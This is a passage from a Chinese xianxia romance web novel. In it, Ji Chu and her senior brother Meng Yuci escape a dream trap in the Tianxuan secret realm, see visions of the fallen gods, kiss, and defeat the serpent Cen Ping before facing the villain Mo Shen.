但是她面上仍努力维持着平静,不着痕迹的扭开头收回手: “不疼……我睡懵了,一点都不疼,师兄你别担心了……” 孟喻辞:“……” 他瞧她几眼。 纪楚硬着头皮顶着他的目光一动不动,实则脸颊两侧睡出的红晕越来越红,几乎快要红到额头冒烟。 孟喻辞:“……?” 他伸手,曲起指节,在她脸颊上蹭了一下。 滚烫。 纪楚又想跑,他已动作极快地拉住她,抬手在她额头摸了摸,一边扫她一眼: “再跑?” 两个字清冷干脆,纪楚听出其中的威胁之意,顿时如同被提住后颈的猫一样,老实在他手下站着不动了。 虽然这样子的师兄她更习惯一些,但是这个师兄实在没有梦里的师兄温柔啊…… 她的目光不自觉移到师兄脸上,看见他垂下的眼睫长而浓密,在眼睑下落下一层浅浅阴影,有细碎的光仿佛揉碎的星子,落在那双黑沉沉的眸子里…… 天呐她到底在想些什么啊?! 孟喻辞探了探她额头,察觉到一点不对劲,撩开她头发,指尖按住那处。 ——果然从她后颈处的空羽浮花上感受到了强烈的灵力波动。 花瓣色泽莹润,似是被人刻意催化。 除了他,还有谁能对纪楚身上的空羽浮花动手呢? 是他大意,忘了空羽浮花原是灵魂养护,而纪楚沉睡时神魂不稳,最易被其影响。 孟喻辞的目光顿时沉了下去。 那个“他”,果然还是对纪楚动手了! 按在后颈处的指尖冰凉,与她滚烫的体温形成了鲜明的对比。 纪楚忍不住打了个冷颤。 她到底是被“梦里肖想师兄”这个心理负担压的喘不上气,眼看师兄的目光冷了下去,恐怕是发现了什么端倪。 她立马举手投投降: “我错了,师兄,我不该在梦里对你不敬!” 孟喻辞回过神来,意识到她说了什么后,脸色变得更加难看: “你说什么?” “他在梦里……” 他的话一顿,强行按捺住心里的怒意,在纪楚身前蹲下,用平静的语气问道: “你梦见了什么?你不要怕,如实说,我不会生气。” 纪楚:“……” 她感觉特别难为情,尤其是面对着师兄温和包容的语气时,越发感觉自己是个管不住脑子在梦里疯狂肖想师兄的大色鬼。 对上看见师兄鼓励的目光,她心里的自责和羞赧简直要溢出来,眼一闭,心一横,一口气说了出来: “我……我梦见师兄和我在床上这样又那样——” “咔嚓”一声,孟喻辞脚下踩着的冰被剑气震碎。 裂痕一路延伸到身后数尺远。 纪楚眼睛一红,委屈地说: “师兄……你说你不生气的……” 她想了想,越想越憋屈,忍不住又小声道 “而且做梦这件事,虽然我也有责任,可是它就是控制不住啊……” 孟喻辞握紧的拳头松开,又握紧,又松开。 他的胸膛起伏了几下,深刻地意识到自己果然不是什么好东西。 瞧瞧,他不过是拦着前世的“他”不许碰纪楚,“他”竟然就敢直接把人拖进梦里—— 扪心自问,倘若他落入前世那样的境地,或许同样不会放弃这个机会。 但——! 如今他还好好站在这里,他才是陪着纪楚一路走到这里的人! 他不允许任何人对纪楚动手! 更何况,出现在冰面之下的那个“他”,根本就连躯体都没有,只是一缕因不甘而借助秘境强行闯入这个世界的执念。 前世就是前世,过去的就是过去的,这个世界上,只能有一个孟喻辞。 他不能让“他”接触到纪楚,“他”只会伤到她。 想到这些,他站起身。 纪楚仍垂着头,恨不得钻进冰缝里去。 他看了她几眼,伸出手,托着她的下巴将她的脸捧起来。 她眼睛躲闪,始终不肯与他对视,像是不好意思面对他。 见状,孟喻辞心下稍安。 她还不知道那个“他”的真相,只当这些是自己心猿意马的梦境。 看来那个“他”心里也清楚,前世结局那样惨痛,毁道入魔,杀孽重重,绝对不能让纪楚知道。 孟喻辞故作冷淡,开口道: “纪楚,我再问你一个问题,你如实回答,我保证不生气。” 还有被原谅的机会? 纪楚眼睛一亮,自然点头。 孟喻辞于是俯身,沉沉目光擢住她的视线: “现在的师兄,和前世的师兄,你更喜欢哪一个?”—— 作者有话说:师兄怎么骂起自己来这么狠啊[狗头] 第96章 “现在的师兄,和前世的师兄,你更喜欢哪一个?” 纪楚一下子被问住了。 她第一反应: “不论前世还是今生,不都是师兄吗?” “哪儿有什么更……” 孟喻辞神色认真,不像是在开玩笑: “不一样,必须选一个。” “选不出来?” 看她一脸犹豫茫然,他眯起眼睛,故意用意味深长的语气说道: “也是,毕竟凡事都有先来后到。你心里已经有了预期,再见到我,自然觉得我是个冷酷无情、会取你性命的恶人……” “不不不!” 他都这么说了,纪楚怎么还敢犹豫,忙摇头解释: “怎么可能呢?师兄你知道的呀,我前世和你关系并不亲近,只有情蛊那次……” “……但那次是个意外!师兄是为了救我,没有别的意思。” “是吗?” 孟喻辞抬眼看向她。 纪楚点点头,郑重道: “当然,我是重生以后才和师兄熟识的,不然也不会误会师兄那么久了。” 孟喻辞终于满意。 他用指腹蹭了蹭纪楚的脸,弯腰低头,与她额头相贴,轻声道: “嗯,我知道了。” 他的呼吸近在咫尺,纪楚抬眼看向他形状姣好的眼睛,因为距离太近,感觉自己有点对眼了。 她忍不住问道: “所以师兄,你真的不生气了吗?关于我在梦里……” 纪楚有点不好意思,动了动嘴,挤出几个字: “……在梦里轻薄你的事情。” 孟喻辞失笑,抬起头,揉了揉她的脑袋: “有什么好生气的。你喜欢我,怎样都好,只是我就在你面前,又何必在梦里……” 他顿了顿,分明是对着纪楚说的,目光却落到面前的冰上。 那下面停驻着一团黑影,如同他的倒影一般,映出另一种可能下的他。 但那又如何呢? 孟喻辞垂眸,遮住眼里的深意,一字一句道: “前尘往事,已成过往云烟。” “你我今生,才是真实。” “轰隆”一声,天边惊雷忽起,风卷 残云,落雪暂缓,夜幕低垂。 原本还亮着的天好像忽然暗了下去。 冰面之下影影绰绰,看不清细节,只能感觉到有大片大片的黑影附着其中,将他们踩着的寒冰映出深沉昏暗的颜色。 纪楚一惊,下意识握住剑柄。 孟喻辞反倒很是淡然,只道: “别怕,我们可以出去了。” 纪楚闻言,顺着他的目光回头,果然看到身后一望无际的冰川雪景逐渐消散溶解,露出背后原本真实的模样。 破败荒芜的阶梯,倒塌悬坠的砖石,厚厚的灰尘遮盖住昔日的辉煌盛大,如今只剩下这么一小片苍凉的景象。 真正的天璇秘境,只是神界覆灭时遗落的一块残影。 这里除了可以窥探神界覆灭时静止的时空,其余的,什么都没有。 纪楚看着这一幕,心里不免有些唏嘘。 沧海桑田,岁月变迁,从来都不会为某一人、亦或是某一族停留。 当日花团锦簇,如今也可能变得荒凉破败。 谁又能预料得到呢? 唯一能做的,便是尽力而为,不枉此生。 她这样想着,下意识看了一眼师兄,发现师兄也正看着她。 目光相对,他清浅地笑了一下: “想说什么?” 纪楚被他柔柔的语气激励到,感觉胸腔里滋生出无与伦比的热情,于是振奋道: “师兄!我们这一次,一定会成功的!” “而且我们都会活下去的!” 她双目炯炯斗志昂扬,孟喻辞心里一直压抑着的情绪到底还是忍不住蔓延上来。 他拉住纪楚的手,正想说话,周围的场景忽然出现了变化。 破碎倒塌的砖石忽然自下而上飘了起来,如同场景倒置一般,一块一块拼回了原位。 裂痕沿着攀爬扩散的缝隙缩回,最终成了极其微小的一个黑点,然后被风吹走,碎裂的台阶与玉同样彻底恢复如初。 尘土消散,光阴回退。 眼前破败之景以肉眼可见的速度复原,最终形成了千年以前、神族尚在时的繁盛之景。 彩云环日,灵鸟啼鸣,玉璧映出七色霞光,仙雾笼罩巍峨宫宇。 一团团雾气一般的东西出现在台阶上,如同看不见出现在这里的纪楚和孟喻辞一般,或轻盈或沉重地“飘”过他们身侧。 ——又或者是看见了,但却并不在意。 那些东西并无固定形状,有的尖锐凸出,有的圆润柔和,唯一相同的,是它们周身都映着一圈浅浅的金色光晕。 这层浅色的金光模糊了它们与云雾和玉璧的边界,使它们看起来仿佛是从整个空间中生长出来的云雾一般。 但显然不是云雾。 它们明显有意识,路过彼此时会以一种难以形容的方式接触,似乎是在交谈。 纪楚很难形容看到这些东西时的感觉。 她也很难用言语描述这些东西带给她的印象。 若能从记忆中找到一些能够对应上的东西,便只有不羁道人和钟离白说过的:没有固定形状的,神。 他们现在看到的,就是神族昔日的景象。 而这些漂浮着行走的所谓“云雾”,应该就是已经消亡的神族了。 台阶正前方是一个圆形的池子,雾气萦绕在池子上方,将下方的景象完全遮挡。 不少“云雾”都在那池子前方停驻片刻,而后伸出“触角”一般的东西,与那池子上方的雾气触碰。 全程安安静静,没有发出任何声音,就已经完成了它们之间的沟通。 池子里的雾气似乎淡了几分。 纪楚松开师兄的手,踩着台阶大踏步走到了池子边缘。 她的肩膀擦着一团“云雾”而过,但却像是碰到了真正的雾气一般,并无实感,一种湿润、朦胧的感觉顺着肩膀传来。 纪楚的表情凝滞了一瞬。 擦肩而过的那一瞬间,她似乎感觉到了欣喜。 这种欣喜的感受充盈着她的内心,让她忍不住热泪盈眶。 她甚至生出一种感觉,似乎愿意为了这片刻的欣喜和幸福,哪怕付出什么都无所谓。 池子里的水雾应当也是同样作想,轻盈的水汽飘到纪楚脸上,不用言语沟通,纪楚就能感觉到彼此的感受。 那是一种最为真切的、不加任何杂质的幸福感。 甚至似乎能听到笑声和感激声从那下面传上来。 她下意识抬头,看向那团飘远的“云雾”,金光中似乎透着温和的粉和橙,像她此刻的心情一样,美好的几乎飘起来。 很快又一团云雾“飘”了过来,站在池子边缘。 它只是轻轻触碰了一下水汽,纪楚就感觉池子中的气氛骤然改变,从刚才的幸福和喜悦,一下子变成了难以言喻的悲伤。 她没有触碰到“云雾”,只是站在旁边,心口就忽然一酸,眼泪在眼眶中凝聚。 悲伤。 这是一团散播悲伤的“云雾”。 微凉的指腹擦去她眼下的泪珠,师兄道: “上界之神,往往因下界念力而生。众生悲苦,则生悲苦之念力,众生盼喜,则生欢喜之念力。” 纪楚哽咽着,又自己抬手擦了一下酸涩的眼眶: “那它们为什么会忽然消亡,还会生出末神这样的东西害人呢?” 不等师兄回答,她已经看见了接下来的一幕。 水池中飘飞出混合的水汽,撞向靠近这里的云雾,离得最近的两团“云雾”被其碰撞,边缘融合,迅速产生了一团崭新的“云雾”。 这团新生的“云雾”又和更多的“云雾”融合,最终变成一个彩色的、光晕不再纯净的“云雾”。 人因七情六欲而生“贪嗔痴”三毒。 但如果是神呢? 原本纯粹的神,也逐渐生出私心、欲望,单一的祷告和念力无法再满足供养的需求,那就需要更多复杂的、强烈的情绪。 战争、灾难、疾病接踵而来,死亡、新生反复轮回…… …… 纪楚仿佛看了一出复杂混沌的六界轮回大戏。 云雾碰撞、分散、湮灭、再碰撞…… 果然是不断重复,生死交替,轮回不休,却又以一种新旧更迭的方式生生不息延伸下去。 糟糕的注意控制能力开始发挥效果,她的视线逐渐变得迷离。 看着人还站着,其实已经睡了有一会儿了。 …… 忽然,脸颊一痛。 像是被全世界最恶毒的虫子狠狠咬了一口。 纪楚一下子回过神来,睁开眼,看到“虫子本虫”——师兄收回手的动作。 “不许睡。” 孟喻辞冷冷道。 换作先前,他连纪楚自己打自己的行径都要阻止,若是她困了,想必还会主动背着她让她安睡。 只是如今知道了她睡着后会发生什么事,他哪里还能忍受半点,顿时化身“冷酷无情”的监督人,非要盯着纪楚把眼睛睁开才能放心。 但还不够放心。 他看了看纪楚睁着眼睛但仍精神恍惚的样子,想了想,指尖凝出一点冰凉的灵力,忽然往纪楚困意朦胧的热乎乎的脸上一贴。 原本还有点残留的困意的纪楚:“……!!!” 她醒了,她这回是真的醒了。 脸上像是贴了个刚从冰山上面凿下来的大冰块,冷得她脸色发青,就算有十个周公来勾引她她也睡不着了。 师兄他至于吗?! 就算在梦里一不小心轻薄了他,那不还是他自己吗? 他至于防自己防成这样吗?! 连梦里想想都不许! 纪楚越想越气,一巴掌挥开师兄冰坨子一样的手,两指撑着自己的眼眶,将眼珠子瞪得老大,愤愤然道: “师兄你不用这么害怕!我不会睡觉的!我再也不会对你有什么非分之想了!” 孟喻辞:“……” 他轻咳一声,意识到自己确实有点过分。 但个中内情又不好同纪楚详谈,只能解释道: “我并非此意。” 纪楚撑着着眼皮瞪他: “那你是什么意思?” “你可以……” 话到嘴边,孟喻辞难得有点不好意思。 但一想到梦里那个如此放浪形骸反而能先他一步,那一点不好意思也没了。 他于是板着脸开口,声音却不自觉低了几分: “……可以想我。”—— 作者有话说:师兄:我防的是谁谁心里清楚[白眼] 第97章 纪楚冷哼一声,虽然放下了撑着自己眼皮的手,但撇嘴转向另一边就是不看他,显然还在不高兴。 什么叫可以想? 都不允许她睡觉了,还想个锤子! 她绝对、绝对不会再想了! 眼前飘来飘去的“云雾”已经被纪楚直接无视,她满脑子都是早点把末神杀了离开这个鬼地方,然后再也不要理师兄了! 孟喻辞见她气的不行,想要拉她的手,被纪楚怒气冲冲地甩开。 她“蹭蹭蹭”走到一边,在身前划出一条“边界线”: “师兄你别离我太近,免得我又有什么不该有的错误想法。” 孟喻辞无奈,在她跟前蹲下,拉住她的手: “是我错了,你不要生气了。” 纪楚瞥他一眼,仰着头看天,就是不说话。 孟喻辞垂眸,长睫轻轻搭下,在眼睑下落了一层阴影。 指腹在她手心轻轻摸索几下,忽而低头,捧起她手,微凉的唇贴在她手背上。 纪楚一惊,想要拽回自己的手,他却微微用力拉住,同时抬眼,长睫如蝶翼忽展,一下子将那双半掩着的、黑沉迤逦的眸子露了出来。 师兄自下而上望着她,双唇仍贴着她的手。 这姿势竟让他原本有些冷寂锋利的样貌显出了几分无害和难言的诱惑。 纪楚觉得自己一定是疯了。 不然为什么这样看师兄的时候,她会忍不住觉得嗓子发干、手心发热,连心跳都变快了呢? 她脑子里一个小人跳出来,叉腰大骂: 你这是以下犯上的大不敬之罪! 孟喻辞自然感受到了她的变化。 他确实是故意的。 冰下那个知道怎么勾引纪楚,他又何尝不知道呢? 只是素日总以师兄身份与纪楚相处,纪楚又是个心无旁骛的,看着她毫不设防的模样,他实在不知该如何表露自己心里的那些念想。 甚至他都想过,不若就暂且以师兄处着,总归有他在旁边看着,纪楚眼里心里,也都只能有他一个。 若非那情之所至忽然爆发的一吻,在他的规划里,这些事都应当徐徐图之。 谁能料到,同样都是孟喻辞,另一个竟能如此孟浪呢? 想到“他”与纪楚前世便曾有过,虽说纪楚总坚持那一次只是为了救她性命,但他心里还是像吞了酸水一样涩的慌。 他又怎会不了解自己,什么为了救命、什么不得已,只怕是情之所至、顺势而为吧! 就只有纪楚是个傻的钝的,桩桩件件在她眼里,却都成了和他前世毫无瓜葛的证据。 而冰下那个执念,这么些年愣是能闯到这个世界里,总不会是把唯一的那一回亲近含在嘴里放在心里日夜回味吧?! 这么一想,他简直像是与那一个“他”的情绪相合了一般,一边是日思夜想无法抑制的思念,一边是看起来完全不该有的醋意。 两种思绪反复拉扯着他的神经。 他其实心里清楚,无论是前世、还是冰下那份执念,其实都是他。 可他就是无法忍受自己会有失去纪楚的可能,进而生出恐惧,想要与这种可能性完全割席。 他知道那个执念出现的目的。 天璇秘境是个死局,纪楚想要的人人平安、全身而退,几乎是不可能的。 不是他,就得是纪楚,可他又怎么能眼睁睁看着是纪楚? 他最终,还是要做一个决定。 那个执念,那一个孟喻辞,便是为了提醒他: 这一次,一定要保住纪楚。 思绪纷飞,孟喻辞到底是忍不住,手上忽一用力,拉得纪楚下意识低了头。 他半直起身,自下而上与她双唇相贴。 这一世的他总归是没有亲自经历过那些痛不欲生的过去,与纪楚亲近时,更加直白、坦然,甚至还带着点不易察觉的羞涩,只是被一惯平静淡然的外表所掩盖。 他是与她相处多日、与她亲密无间的师兄,是亲手栽培、亲眼看着她长成如今这般优秀明艳模样的人。 他不曾错过她的人生,她也不曾放任他独自在黑暗中挣扎。 他因而心中欣喜、欣慰、喜不自胜;爱慕、爱怜、情意绵长。 一旁的池子里冒出一团团的粉色的雾气,扑在两人头上、肩上,让这一方天地都变得温暖甜蜜起来。 …… 过了好久,纪楚努力从他嘴里抢回自己的舌头,小小声问他: “师兄,我们在这里,是不是不太好啊?” 孟喻辞仍半蹲着,这角度可以让他看清纪楚脸上的每一丝变化。 他的目光从红彤彤的唇瓣移向她雾气盈盈的眼睛,伸手,用指腹擦了擦她唇边的水痕: “哪里不好?” 他声音低沉微哑,透着点迷醉的诱人: “神亦生七情六欲,甚至靠此维系,世间万物,不外如是。” 纪楚:“……” 师兄你变了。 你是怎么用理直气壮的语气在神界的残影面前说出这种话的? 孟喻辞看到了她眼里的控诉。 他忍不住轻笑出声,而后起身,将她抱进怀里揉了一通,还不忘提醒她: “不许在梦里这样那样,要更喜欢我。” 纪楚用头砸了一下他的胸口: “知道啦!” 周围的雾气彻底散开。 残影消散,云雾消弭,断壁残垣重新出现在两人面前。 两人身边的水池中原本有一层堪堪遮盖住底部的水,此刻却咕噜咕噜泛起了起泡。 纪楚低头朝里面看去,水流逐渐上涨,却不似幻影中清澈,反而混浊难辨,还散发着若有似无的邪气。 她盯着这水看了一会儿,眼看着水位越来越高,已经快要触碰到水池边缘。 纪楚忽然拔剑,一剑朝着池中捅了下去。 水流忽得炸开,直冲她面门而来。 孟喻辞一直关注着她的动向,见状及时伸手将她朝后一扯,连人带剑放到了自己身后。 剑气在身前竖起一道屏障,将攻击悉数挡下。 两人身前溅了一地血珠。 池子里的水流仿佛活物一般,因为纪楚猝不及防的一剑停止了生长。 然而其混浊之气愈浓,甚至从中心一点散开,逐渐变得暗红发黑,似是重伤。 孟喻辞看向纪楚,虽知她无事,还是忍不住确认一遍: “没有伤着吧?” 纪楚摇头,指向水池: “岑平!我看见那条蛇了!” 她话音刚落,猩红的血池之中便猝然升起一道高耸的水柱。 一条花纹别致、双目赤金的赤色长蛇盘旋于水柱之上,大部分蛇身隐藏于水池之中,只露出一小截躯干。 靠近蛇头的地方,一道剑痕还在汩汩冒血——正是纪楚方才所刺。 竖瞳阴冷,直勾勾盯着纪楚二人。 显然是岑平无异。 它受末神点化,得以炼就化蛇之身。 只是他到底没能继承多少化蛇一族的神力,神魂脆弱,难以长久维系,故而一直将身躯藏于神池中休养。 不料竟被纪楚所识,一剑捅伤。 当日沧州街道上甫一见面,他便认出,这纪楚神魂之中带着他化身一族特有的诅咒。 末神所料不错,她果然是重生之人。 蛇鸣嘶嘶,蛇目阴冷,端详她片刻,吐出一句人言: “你竟破了我的诅咒。” “果然是你。” 纪楚确认了身份,毫不犹豫,直接一剑劈了过去。 长蛇绕着水柱一滑,露在外面的蛇身登时沉入池中。 纪楚砍了个空。 但下一刻,先前溅在她身前地上的血珠却忽然扩大相连,瞬间成了一小片血痕。 地下传来嗡鸣之声,一条巨蛇骤然从那一小片血痕中破地而出,牵扯出一连串砖石碎屑。 蛇口大张,从天而降,一口朝着纪楚吞了下来。 纪楚后退两步躲开,孟喻辞一道剑气劈出,蛇身立时成了两半,重重砸在地上。 断口处冻结成冰,连同里面涌出的鲜血一起凝结难以流出。 这么容易吗? 纪楚心生怀疑。 果不其然,下一刻,脚下的地面再次震颤起来。 面前断裂成两半的蛇身开始溶解消散,在地上化成了一潭腥臭的血水。 血水之中又重新凝聚出了一条蛇的形状,蛇首高高耸起,赤金双瞳中心的竖线已难以分辨清晰,仿佛已经和末神融为一体,非妖非魔,却有神力。 纪楚下意识眯了下眼睛。 蛇口一张一合,蛇信与獠牙露出,具是深红发黑。 “区区凡族,也敢与神相抗,不自量力!” 赤金蛇目带着有神力,压的纪楚神魂剧痛。 趁她反应不及,蛇尾重重砸向纪楚站立的地方。 孟喻辞携住她腰飞身躲开,纪楚半闭着眼睛,同时挥出长剑,一剑刺向巨蛇七寸。 剑刃深入,鲜血淋漓,却有身后血池源源不断的邪气修复,顷刻间便再度生出一条完好无损的巨蛇。 纪楚和孟喻辞落到一处石柱上。 她推了推孟喻辞,言简意赅: “师兄,水池。” 孟喻辞明白她意思,颔首道: “那你小心。” 随即化作一道剑光,直冲巨蛇身后的水池。 巨蛇试图阻拦,纪楚从石柱上探出头,故意嘲讽道: “就你这血泡出来的假身体,也能算神?” “岑平,你虽有化蛇血脉,却是凡人之身,不知道用什么脏东西拼出个身体,就敢自称是神?” 岑平果然震怒: “我本就是神族后裔!是孟喻辞杀死我母逼死我父,毁我神身!我今日便取你二人性命,为我全家报仇!” 蛇尾一卷,纪楚站立的石柱被它击碎倒塌。 纪楚躲开攻击,刻意引着它朝着远离血池的方向后退,一边道: “拂宇仙宗斩妖除魔,你母亲害人无数,我师兄是替天行道,何错之有?” 岑平怒道: “何为替天行道?!弱肉强食本是天意!卑微凡人,便该做我族盘中之餐!这才是天道!” 纪楚避开和蛇目对视,余光看到师兄已经靠近了水池。 很快,冰寒之气便从地面传来,连同水池中的血水一道,彻底封冻起来。 纪楚见状立即动手,寻真剑于半空中划出凌厉剑光,重重刺向巨蛇右眼。 巨蛇发出绝望的嘶吼声,一下子摔在地上,没了给他提供能量的水池,只能以残躯在地上扭动。 纪楚觉得恶心,但她的剑刃被神力绞住,一时陷在蛇目中拔不出来。 面前已无还手之力的巨蛇却忽然对着她嘶嘶一笑: “你知道我前世为何要杀你吗?” 他睁着仅剩一只的邪气森森的左眼,赤金之色充满恶意,看向近在咫尺的纪楚: “因为你是个贱人!你和袁复都是贱人!你们分明是和我一样可怜的人,却敢看不起我背叛我!高高在上施舍我!” “你们怎么敢向着孟喻辞,向着拂宇仙宗,向着那欺压我们的世道?!你们就该去死!” “不可理喻。” 纪楚摇了摇头,觉得自己和这条蛇已经没什么好说的了。 她用力拔剑。 “死在自己最信任的师兄手中的感觉,不好受吧?” 面前的巨蛇忽然一笑,赤金蛇瞳中满是不加掩饰的恶意: “末神其实没想过这个法子,还是我主动提议的。” 纪楚拔剑的动作一顿,面前长蛇摆动蛇尾,声音如骨附疽,一字字钻进她的耳朵: “我就是要让你在最不设防的时候死在绝望里,你不是能重生吗?我就是要让你哪怕重生了,也得每天都在恐惧和怀疑渡过,要你再也不敢靠近孟喻辞,要你被仇恨控制着——亲手杀了他!” 巨蛇得意洋洋,庞大的蛇头化出一张秀气但阴郁的人脸,嘴唇张合,吐出一串恶毒的字眼: “看见你为着那一剑如此痛苦的样子,我心里真是爽快极了。” “纪楚,你就该痛苦,就该一辈子东躲西藏遭人厌弃,那样你才知道,你和我一样,一辈子都只能躲在阴影里!你别想摆脱我!” 纪楚的脸色瞬间冷了下去。 第98章 纪楚想起前世的时候,她经脉滞塞无法修行,无意中路过外门救下岑平,并非因为觉得自己和他一样可怜,而是看不得有人肆意欺凌他人的行为。 怎么在岑平眼里,自己就得变成和他一样是非不分、怀揣着恶意憎恨全世界、甚至开始憎恨帮助过他的人呢? 他如此义愤填膺,当初怎么不去反抗欺压他的外门弟子,却要杀死有恩于他的袁复、又记恨上路过时顺手一帮的她呢? 这些看似正义的宣泄,不过是在为自己扭曲的心态和行为找借口。 而他对自己的恨…… 纪楚看向岑平。 他正用那只巨大的、泛着赤金之色的眼睛一眨不眨地盯着她,试图从她脸上看出愤怒和绝望,以让他从中获得作恶的快感。 纪楚偏不如他所愿。 她面无表情地回望过去,本该拔出的剑刃停下,用力朝内一捅。 剑身带出金红两色浓血,从蛇头后面穿出。 巨蛇顿时吃痛,蛇身疯狂扭曲,蛇尾扫过周围残破的建筑,将这里敲得更碎。 孟喻辞出现在纪楚身旁,他本想出手解决了岑平,但看见纪楚神色,又按捺住动作,等她决定。 纪楚其实并没有虐杀败者的习惯,或许是因着性格,又或许是因为承袭了师兄的剑招,她往往懒得废话,只求一剑了结对方。 但此刻,她却没有立即要岑平性命,而是以剑为引,将灵力灌进巨蛇体内,炼化邪气, 震碎蛇身。 她心里有种难言的戾气,迫使着她必须看到真相,否则就会被拖进暗沉的世界。 巨蛇发出一声凄厉的吼声,自寻真剑刺入的地方开始,蛇身寸寸皲裂爆开,露出其下一团污秽血水。 孟喻辞及时用剑气将其冰封,避免那些秽物溅到纪楚身上。 地上落了一瘫蛇形痕迹,岑平维持不住蛇身,恢复了人的模样。 纪楚的剑便直直插在他脑子里。 但他还未死,另一只带着神力的金色眼睛还完好无损,末神会庇护他的灵魂,一个躯壳没了,他还能夺舍,还能重生,像那些神族一样。 可他的灵魂却无法离开这具躯体,因为插在他脑子里的剑刃如丝线般散开,扎进了他的魂魄里,将他与这具残破的躯体捆在一起。 纪楚的声音平静、残忍,透着嘲弄: “岑平,你骗骗别人也就算了,怎么竟能把自己也骗了?” “你什么意思?” 岑平怒道。 “你总说,是我师兄杀你全家,你侥幸逃脱,跑来报仇。但你自己看看——” 纪楚以剑气划开他身前衣襟,露出他胸口上那处陈年旧伤: “你胸前这道伤口,宽且边缘粗糙,一看就是刀伤。” 岑平的表情慌乱起来。 他想逃,但千丝傀影无形之间以遍布他整个灵魂,他不敢示人、不敢回忆的过去悉数暴露。 纪楚继续说: “你真的不记得了吗?当日你母亲身份暴露,被我师兄诛杀。你父亲心中害怕,怕你也是个吃人不吐骨头的蛇妖,举刀砍在你身上。” “不……” 岑平想摇头想后退,但却无法摆脱千丝傀影的控制,只能继续听下去。 “你躲开了,那一刀没能要你性命,是因为我师兄杀死蛇妖时说了句,其子并非妖物,只是凡人,你父亲想到你毕竟是他唯一的儿子,到底还是心软了……” “可你却不知感恩,拂宇仙宗的人刚走,你就举刀杀了你父亲,吞了你母亲藏匿的妖丹,逃离村庄,一路乞讨到了拂宇仙宗山脚下,刚好遇见下山采买的炼器堂弟子袁复。” “他看你可怜,施以援手,你却还是要了他的命——” 说出最后一个字的同时,纪楚收回千丝傀影,拔出剑身。 岑平一声尖叫,捂着右眼倒下。 但他赤金的左眼仍圆睁着,金色越来越浓,将中间那一条竖线冲淡,最后那只眼珠子竟当着纪楚和孟喻辞的面破体而出,直冲天际。 纪楚反应极快,提剑跟上,一剑劈了过去。 与此同时,岑平的身体却忽然爆发出一道极强的魔气,直冲着纪楚后背而去。 纪楚挥剑斩向半空那只眼珠子,无法顾及后背。 好在孟喻辞一剑将攻向纪楚的那道魔气撞碎,而后剑势不停,紧追而上,将岑平试图逃窜的魂魄也直接砍碎。 岑平的身体彻底没了生机,仰面倒在地上,只剩下空荡荡的两个眼眶始终朝着半空中的纪楚的方向。 纪楚察觉到了身后的剑气和魔气,但她根本没有打算回头,目光中只有面前那一个赤金的眼珠子。 寻真剑破空一斩,眼球出现一道裂缝,赤金血痕缓缓渗出,那眼珠子却在纪楚面前放大展开,以天幕邪云为眶,成了一只带血的金色眼睛。 那道血痕落到地上,大地瞬间开裂,一瞬间如天河倒灌,哗啦啦的水流眨眼便成大江大河之势,将纪楚冲到了地上。 她带着满头满脸的水爬起来,一眼便看见面前水流滚滚中,被金光圆球包裹着的钟离白的身影。 “纪楚!” 钟离白趴在光球内冲她大喊: “眼睛背后就是出口!你快走!” 谁知纪楚竟然直接忽略了他说的话,看也不看金色眼睛背后的出口,一跃跳进了河里。 二话不说便用长剑朝着光球斩去,试图将这所谓的“卵”剖开。 但是无果,反倒是钟离白疼得呲牙咧嘴: “别割别割,这东西长进了我的神魂,你割不开的,割它就是割我。” 纪楚只得停手。 钟离白用四方罗盘勉强挡了一部分缠在他身上的神族残念。 那些东西如同卵中的血管,金色半透明状,触手一样缠绕在钟离白身上,一些扎进了他的皮肉,连着他的经脉。 在他头顶,一个被众多半透明的“血管”包绕在中间的,是一团心脏一样的彩色雾气,“血管”便成了输送雾气的媒介,从“心脏”引出,灌进钟离白体内,以此侵占、夺舍他的躯体。 钟离白与那“心脏”几乎像是共生。 纪楚见状收了剑,一手按在卵状的光球上,感受到手下那层薄但难以突破的膜。 钟离白担忧: “你要干什么?你别靠近这东西,你快走,留得青山在不怕没柴烧……” 他话音刚落,便见纪楚指尖生出傀影丝,透过光球顺着“血管”,直直攀上他头顶那一团金色包裹着七彩雾气的“心脏”。 那些神族残念组成的“血管”竟然没有拦住她! 钟离白的眼睛一下子睁大了,下一刻,他忽然感受到周围空气的凝滞,仿佛有两道极为强烈的思绪在互相接触、争执、最后互相吞噬。 而纪楚隔着光球的表情也看得不大明晰,似在怔愣。 他心觉不妙。 与此同时,水流上方的半空中,金色眼睛感受到纪楚“以卵击石”的动作,眼里生出几分轻蔑和嘲讽,一道魔气打下,却被孟喻辞一剑拦住。 “弱小人族,靠着一块神骨便想吞噬神念,自不量力。” 它那带着血的眼珠子转到孟喻辞身上: “这就是你拿来对付我的人?” “同为神族,吾本有心带你飞升,你却不识好歹,既然如此,便去死吧!” 神压之下,整个天璇秘境颤抖起来。 从秘境外面看去,半空中似是升起了两个太阳。 其中一个越来越亮越来越膨胀,甚至逐渐有了吞日之势,直至将真正的太阳完全遮盖。 天地忽暗,雷云涌起,朝着这天上的一团围去。 秘境边缘所到之处,凡有灵力之修士,皆被吸入其中。 秘境中,承载着光点的河流自金色眼睛瞳孔中流出,一直蔓延到秘境边缘,却还在不断延伸,将更多修士吞入水中。 一个个包裹着神念的光球迅速围绕过去,将入水之人困在其中,查其记忆,融其魂魄,以求完全夺舍。 “至于你,孟喻辞。” “你有半神之身,是天地间最好的容器。吾不忍浪费,便助你历劫升仙,成吾之躯壳。” 末神高高在上,宛如真正的神明安置众生一般,对孟喻辞说出这句话,换来后者一声冷笑。 “我无法成仙,你也早非神族。” “尔等,已是邪魔。” 雷声轰鸣。 * 纪楚和捆着钟离白的光球一起被突然暴涨的水流冲远,在水下不受控制地乱撞。 “纪楚!纪楚!你快醒醒!纪楚!!!” 钟离白忍不住尖叫起来,但纪楚却浑然不觉。 眼看她背后就要撞上锋利尖锐的礁石,钟离白想死的心都有了。 下一刻,两人忽然被一个光球重重撞开。 钟离白松了一口气,一回头,对上了蒋成旭泛着冷意的目光。 钟离白:“?” 他顺着蒋成旭的眼神看过去,陈梧竟然也在附近。 只是他被光球里粘腻的半透明状的东西糊住了嘴,那些触角一样的神族残念死死攀住他的四肢,挣扎着往他的神魂里钻去,仅剩一双眼睛还能动,正一脸担忧地看着钟离白旁边的纪楚。 他没有什么护身法器,只靠着一点微薄的灵力修为,根本无法摆脱神族残念的控制,自然比蒋成旭他们更危险。 但此刻他也顾不上自己了。 纪楚还没有动作。 她原本只是尝试。 神族残念有自己的意识,既然有意识,便也是千丝傀影控制的对象。 